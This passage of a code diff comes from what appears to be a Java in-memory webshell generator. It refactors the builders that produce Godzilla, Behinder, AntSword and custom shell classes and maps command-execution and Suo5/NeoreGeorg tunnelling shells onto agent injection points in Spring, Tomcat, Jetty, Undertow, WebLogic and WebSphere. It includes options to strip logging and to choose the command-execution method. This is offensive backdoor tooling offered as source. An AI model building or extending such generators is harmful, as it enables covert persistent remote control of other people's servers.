.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
@@ -229,24 +211,17 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
@@ -262,7 +237,14 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Suo5.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||||
@@ -278,6 +260,13 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -19,27 +19,19 @@ public class ShellType {
|
|||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
public static final String AGENT = "Agent";
|
public static final String AGENT = "Agent";
|
||||||
public static final String ASM = "ASM";
|
|
||||||
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
|
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
|
|
||||||
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
||||||
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
|
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
|
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
|
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
|
|
||||||
|
|
||||||
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
|
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
|
||||||
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||||
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
|
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
|
||||||
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
||||||
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
|
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
|
||||||
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
|
|
||||||
|
|
||||||
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
|
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
|
||||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||||
|
|||||||
@@ -20,6 +20,21 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private Encryptor encryptor = Encryptor.RAW;
|
private Encryptor encryptor = Encryptor.RAW;
|
||||||
|
|
||||||
|
@Builder.Default
|
||||||
|
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||||
|
|
||||||
|
|
||||||
|
public enum ImplementationClass {
|
||||||
|
RuntimeExec, ForkAndExec;
|
||||||
|
|
||||||
|
public static ImplementationClass fromString(String encryptor) {
|
||||||
|
if (encryptor != null && encryptor.equals("ForkAndExec")) {
|
||||||
|
return ForkAndExec;
|
||||||
|
}
|
||||||
|
return RuntimeExec;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public enum Encryptor {
|
public enum Encryptor {
|
||||||
RAW, DOUBLE_BASE64;
|
RAW, DOUBLE_BASE64;
|
||||||
|
|
||||||
|
|||||||
+18
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/27
|
||||||
|
*/
|
||||||
|
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
|
||||||
|
protected final ShellConfig shellConfig;
|
||||||
|
protected final T shellToolConfig;
|
||||||
|
|
||||||
|
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
|
||||||
|
this.shellConfig = shellConfig;
|
||||||
|
this.shellToolConfig = shellToolConfig;
|
||||||
|
}
|
||||||
|
}
|
||||||
+8
-58
@@ -1,18 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -20,55 +10,15 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/02/18
|
* @since 2025/02/18
|
||||||
*/
|
*/
|
||||||
public class AntSwordGenerator {
|
public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
|
||||||
private final ShellConfig shellConfig;
|
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig shellToolConfig) {
|
||||||
private final AntSwordConfig antSwordConfig;
|
super(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.antSwordConfig = antSwordConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
@Override
|
||||||
if (antSwordConfig.getShellClass() == null) {
|
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
throw new IllegalArgumentException("antSwordConfig.getClazz() == null");
|
return builder.field(named("pass")).value(shellToolConfig.getPass())
|
||||||
}
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
if (StringUtils.isBlank(antSwordConfig.getPass())) {
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()");
|
|
||||||
}
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(antSwordConfig.getShellClass())
|
|
||||||
.name(antSwordConfig.getShellClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("pass", antSwordConfig.getPass());
|
|
||||||
put("headerName", antSwordConfig.getHeaderName());
|
|
||||||
put("headerValue", antSwordConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
|
|
||||||
.field(named("headerName")).value(antSwordConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+8
-60
@@ -1,19 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -21,57 +11,15 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderGenerator {
|
public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
|
||||||
private final ShellConfig shellConfig;
|
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig shellToolConfig) {
|
||||||
private final BehinderConfig behinderConfig;
|
super(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.behinderConfig = behinderConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
if (behinderConfig.getShellClass() == null) {
|
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
|
||||||
throw new IllegalArgumentException("behinderConfig.getClazz() == null");
|
return builder.field(named("pass")).value(md5Key)
|
||||||
}
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
if (StringUtils.isBlank(behinderConfig.getPass())) {
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
|
|
||||||
}
|
|
||||||
String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16);
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(behinderConfig.getShellClass())
|
|
||||||
.name(behinderConfig.getShellClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("pass", md5Key);
|
|
||||||
put("headerName", behinderConfig.getHeaderName());
|
|
||||||
put("headerValue", behinderConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("pass")).value(md5Key)
|
|
||||||
.field(named("headerName")).value(behinderConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+47
@@ -0,0 +1,47 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/27
|
||||||
|
*/
|
||||||
|
public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
|
||||||
|
protected final ShellConfig shellConfig;
|
||||||
|
protected final T shellToolConfig;
|
||||||
|
|
||||||
|
protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
|
||||||
|
this.shellConfig = shellConfig;
|
||||||
|
this.shellToolConfig = shellToolConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] getBytes() {
|
||||||
|
DynamicType.Builder<?> builder = build(new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.name(shellToolConfig.getShellClassName())
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
|
||||||
|
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
|
||||||
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
|
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+6
-10
@@ -12,25 +12,21 @@ import java.util.Base64;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/3/18
|
* @since 2025/3/18
|
||||||
*/
|
*/
|
||||||
public class CustomShellGenerator {
|
public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> {
|
||||||
|
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final CustomConfig customConfig;
|
|
||||||
|
|
||||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||||
this.shellConfig = shellConfig;
|
super(shellConfig, customConfig);
|
||||||
this.customConfig = customConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
String shellClassBase64 = customConfig.getShellClassBase64();
|
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellClassBase64)) {
|
if (StringUtils.isBlank(shellClassBase64)) {
|
||||||
throw new IllegalArgumentException("Custom shell class is empty");
|
throw new IllegalArgumentException("Custom shell class is empty");
|
||||||
}
|
}
|
||||||
|
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||||
byte[] bytes = ClassRenameUtils.renameClass(Base64.getDecoder().decode(shellClassBase64), customConfig.getShellClassName());
|
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
|
||||||
|
|
||||||
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+11
-62
@@ -1,19 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -21,62 +12,20 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/23
|
* @since 2024/11/23
|
||||||
*/
|
*/
|
||||||
public class GodzillaGenerator {
|
public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final GodzillaConfig godzillaConfig;
|
|
||||||
|
|
||||||
public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) {
|
public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) {
|
||||||
this.shellConfig = shellConfig;
|
super(shellConfig, godzillaConfig);
|
||||||
this.godzillaConfig = godzillaConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
@Override
|
||||||
if (godzillaConfig.getShellClass() == null) {
|
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
|
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
|
||||||
}
|
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
|
||||||
if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) {
|
return builder.field(named("pass")).value(shellToolConfig.getPass())
|
||||||
throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()");
|
.field(named("key")).value(md5Key)
|
||||||
}
|
.field(named("md5")).value(md5)
|
||||||
String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(godzillaConfig.getShellClass())
|
|
||||||
.name(godzillaConfig.getShellClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
